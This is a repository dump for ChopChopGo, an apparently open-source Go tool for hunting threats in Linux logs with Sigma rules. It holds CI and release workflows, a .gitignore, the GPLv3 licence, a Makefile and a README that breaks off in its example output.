[
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: CI\n\non:\n  push:\n    branches: [master]\n  pull_request:\n    branches: [master]\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v4\n\n      - name: Set up Go\n        uses: actions/setup-go@v5\n        with:\n          go-version-file: go.mod\n\n      - name: Install libsystemd-dev\n        run: sudo apt-get update && sudo apt-get install -y libsystemd-dev\n\n      - name: Vet\n        run: go vet ./...\n\n      - name: Test\n        run: go test ./...\n"
  },
  {
    "path": ".github/workflows/release.yml",
    "content": "name: Release\n\non:\n  push:\n    tags:\n      - 'v*'\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n\n    strategy:\n      matrix:\n        include:\n          - arch: amd64\n            goarch: amd64\n          - arch: arm64\n            goarch: arm64\n\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v4\n\n      - name: Set up Go\n        uses: actions/setup-go@v5\n        with:\n          go-version-file: go.mod\n\n      - name: Install libsystemd-dev\n        run: sudo apt-get update && sudo apt-get install -y libsystemd-dev gcc-aarch64-linux-gnu\n\n      - name: Build\n        env:\n          GOARCH: ${{ matrix.goarch }}\n          CC: ${{ matrix.goarch == 'arm64' && 'aarch64-linux-gnu-gcc' || 'gcc' }}\n          CGO_ENABLED: 1\n        run: go build -o ChopChopGo .\n\n      - name: Fetch Sigma rules\n        run: |\n          git clone --depth=1 https://github.com/SigmaHQ/sigma.git\n          rm -rf rules/\n          mkdir rules/\n          mv sigma/rules/linux/ rules/\n          rm -rf sigma/\n\n      - name: Create release archive\n        run: |\n          TAG=${GITHUB_REF_NAME}\n          zip -r \"ChopChopGo-${TAG}-linux-${{ matrix.arch }}.zip\" ChopChopGo rules/ mappings/ README.md update-rules.sh\n\n      - name: Upload to release\n        env:\n          GH_TOKEN: ${{ github.token }}\n        run: |\n          TAG=${GITHUB_REF_NAME}\n          # Create the release if it doesn't already exist (e.g. manually pre-created),\n          # then upload the artifact. --clobber replaces any existing asset with the same name.\n          gh release create \"${TAG}\" --title \"${TAG}\" --generate-notes 2>/dev/null || true\n          gh release upload \"${TAG}\" \"ChopChopGo-${TAG}-linux-${{ matrix.arch }}.zip\" --clobber\n"
  },
  {
    "path": ".gitignore",
    "content": "# Sigma rules (fetched via update-rules.sh, not tracked in repo)\nrules/\n\n# Build output\nChopChopGo\nChopChopGo.exe\nscripts/genlog/genlog\n\n# Go toolchain\nvendor/\n\n# Test and profiling artifacts\n*.test\ncoverage.out\n*.prof\n*.out\n\n# Generated test logs (transient, regenerate with scripts/genlog)\ntestdata/generated_*.log\n\n# macOS\n.DS_Store\n\n# Editor\n.vscode/\n.idea/\n*.swp\n*.swo\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\nCopyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\nEveryone is permitted to copy and distribute verbatim copies\nof this license document, but changing it is not allowed.\n\n                            Preamble\n\nThe GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\nThe licenses for most software and other practical works are designed\nto take away your freedom to share and change the works. By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users. We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors. You can apply it to\nyour programs, too.\n\nWhen we speak of free software, we are referring to freedom, not\nprice. Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\nTo protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights. Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\nFor example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received. You must make sure that they, too, receive\nor can get the source code. And you must show them these terms so they\nknow their rights.\n\nDevelopers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\nFor the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software. For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\nSome devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so. This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software. The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable. Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts. If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\nFinally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary. To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\nThe precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n0. Definitions.\n\n\"This License\" refers to version 3 of the GNU General Public License.\n\n\"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n\"The Program\" refers to any copyrightable work licensed under this\nLicense. Each licensee is addressed as \"you\". \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\nTo \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy. The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\nA \"covered work\" means either the unmodified Program or a work based\non the Program.\n\nTo \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy. Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\nTo \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies. Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\nAn interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License. If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n1. Source Code.\n\nThe \"source code\" for a work means the preferred form of the work\nfor making modifications to it. \"Object code\" means any non-source\nform of a work.\n\nA \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\nThe \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form. A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\nThe \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities. However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work. For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\nThe Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\nThe Corresponding Source for a work in source code form is that\nsame work.\n\n2. Basic Permissions.\n\nAll rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met. This License explicitly affirms your unlimited\npermission to run the unmodified Program. The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work. This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\nYou may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force. You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright. Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\nConveying under any other circumstances is permitted solely under\nthe conditions stated below. Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\nNo covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\nWhen you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n4. Conveying Verbatim Copies.\n\nYou may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\nYou may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n5. Conveying Modified Source Versions.\n\nYou may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\nA compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit. Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n6. Conveying Non-Source Forms.\n\nYou may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\nA separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\nA \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling. In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage. For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product. A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n\"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source. The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\nIf you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information. But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\nThe requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed. Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\nCorresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n7. Additional Terms.\n\n\"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law. If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\nWhen you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit. (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.) You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\nNotwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\nAll other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10. If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term. If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\nIf you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\nAdditional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n8. Termination.\n\nYou may not propagate or modify a covered work except as expressly\nprovided under this License. Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\nHowever, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\nMoreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\nTermination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License. If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n9. Acceptance Not Required for Having Copies.\n\nYou are not required to accept this License in order to receive or\nrun a copy of the Program. Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance. However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work. These actions infringe copyright if you do\nnot accept this License. Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n10. Automatic Licensing of Downstream Recipients.\n\nEach time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License. You are not responsible\nfor enforcing compliance by third parties with this License.\n\nAn \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations. If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\nYou may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License. For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n11. Patents.\n\nA \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based. The\nwork thus licensed is called the contributor's \"contributor version\".\n\nA contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version. For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\nEach contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\nIn the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement). To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\nIf you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients. \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\nIf, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\nA patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License. You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\nNothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n12. No Surrender of Others' Freedom.\n\nIf conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License. If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all. For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n13. Use with the GNU Affero General Public License.\n\nNotwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work. The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n14. Revised Versions of this License.\n\nThe Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time. Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number. If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation. If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\nIf the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\nLater license versions may give you additional or different\npermissions. However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n15. Disclaimer of Warranty.\n\nTHERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n16. Limitation of Liability.\n\nIN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n17. Interpretation of Sections 15 and 16.\n\nIf the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\nIf you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\nTo do so, attach the following notices to the program. It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License. Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\nYou should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\nThe GNU General Public License does not permit incorporating your program\ninto proprietary programs. If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library. If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License. But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "Makefile",
    "content": "all: init generate\n\ninit:\n\t@echo \"Making ChopChopGo...\"\n#add special compiler options beyond -w later,\n#maybe use a packer or some sort.\ngenerate:\n\tgo build -ldflags \"-w\" .\n\nclean:\n\t@echo \"done.\"\n\nupdate-rules:\n\t./update-rules.sh\n\nwindows:\n\tGOOS=windows GOARCH=amd64 go build -ldflags \"-w\" .\n\n"
  },
  {
    "path": "README.md",
    "content": "[![go report card](https://goreportcard.com/badge/github.com/M00NLIG7/ChopChopGo)](https://goreportcard.com/report/github.com/M00NLIG7/ChopChopGo)\n\n<div align=\"center\">\n <p>\n  <h1>\n   Rapidly Search and Hunt through Linux Forensics Artifacts\n  </h1>\n </p>\n</div>\n\n---\n\nChopChopGo inspired by Chainsaw utilizes Sigma rules for forensics artifact recovery, enabling rapid and comprehensive analysis of logs and other artifacts to identify potential security incidents and threats on Linux.\n\n## Features\n\n- :dart: Hunt for threats using [Sigma](https://github.com/SigmaHQ/sigma) detection rules and custom ChopChopGo detection rules\n- :zap: Lightning fast, written in go\n- :feather: Clean and lightweight execution and output formats without unnecessary bloat\n- :computer: Runs on Linux\n\n---\n\n```\n$ ./ChopChopGo -target syslog -rules ./rules/linux/builtin/syslog/\n  ▄████▄   ██░ ██  ▒█████   ██▓███      ▄████▄   ██░ ██  ▒█████   ██▓███       ▄████  ▒█████\n ▒██▀ ▀█  ▓██░ ██▒▒██▒  ██▒▓██░  ██▒   ▒██▀ ▀█  ▓██░ ██▒▒██▒  ██▒▓██░  ██▒    ██▒ ▀█▒▒██▒  ██▒\n ▒▓█    ▄ ▒██▀▀██░▒██░  ██▒▓██░ ██▓▒   ▒▓█    ▄ ▒██▀▀██░▒██░  ██▒▓██░ ██▓▒   ▒██░▄▄▄░▒██░  ██▒\n ▒▓▓▄ ▄██▒░▓█ ░██ ▒██   ██░▒██▄█▓▒ ▒   ▒▓▓▄ ▄██▒░▓█ ░██ ▒██   ██░▒██▄█▓▒ ▒   ░▓█  ██▓▒██   ██░\n ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░  ░   ▒ ▓███▀ ░░▓█▒░██▓░ ████▓▒░▒██▒ ░  ░   ░▒▓███▀▒░ ████▓▒░\n ░ ░▒ ▒  ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░  ░   ░ ░▒ ▒  ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░  ░    ░▒   ▒ ░ ▒░▒░▒░\n   ░  ▒    ▒ ░▒░ ░  ░ ▒ ▒░ ░▒ ░          ░  ▒    ▒ ░▒░ ░  ░ ▒ ▒░ ░▒ ░          ░   ░   ░ ▒ ▒░\n ░         ░  ░░ ░░ ░ ░ ▒  ░░          ░         ░  ░░ ░░ ░ ░ ▒  ░░          ░ ░   ░ ░ ░ ░ ▒\n ░ ░       ░  ░  ░    ░ ░              ░ ░       ░  ░  ░    ░ ░                    ░     ░ ░\n ░                                     ░\n\t\t\tBy Keyboard Cowboys (M00NL1G7)\n\nUsing syslog file: /var/log/messages\n 100% |██████████████████████████████████████████████████████████████████████████████████████████████| (67504/67504, 27840 it/s)\n+-----------------+--------------------------------+-----------------------------------------+\n|    TIMESTAMP    |            MESSAGE             |                  TAGS                   |\n+-----------------+--------------------------------+-----------------------------------------+\n| Mar  2 20:04:38 | fedora systemd[1]:             